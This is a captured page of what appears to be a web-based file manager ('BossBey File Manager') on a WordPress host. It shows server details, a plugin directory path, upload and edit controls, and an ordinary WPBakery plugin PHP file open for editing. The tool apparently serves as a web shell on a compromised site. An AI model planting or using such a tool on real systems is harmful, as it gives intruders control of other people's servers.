BossBey File Manager
PHP:
8.2.30
OS:
Linux
User:
imagivibe
Root
/
home
/
imagivibe
/
public_html
/
CTR
/
wp-content
/
plugins
/
js_composer
/
include
/
classes
/
core
📤 Upload
📝 New File
📁 New Folder
Close
Editing: class-vc-modifications.php
<?php /** * Output for custom modifications. */ if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Modifications */ class Vc_Modifications { /** * Modified flag. * * @var bool */ public static $modified = false; /** * Vc_Modifications constructor. */ public function __construct() { add_action( 'wp_footer', [ $this, 'renderScript', ] ); } /** * Render script. */ public function renderScript() { if ( self::$modified ) { // output script. $tag = 'script'; echo '<' . esc_attr( $tag ) . ' type="text/html" id="wpb-modifications"> window.wpbCustomElement = 1; </' . esc_attr( $tag ) . '>'; } } }
Save
Cancel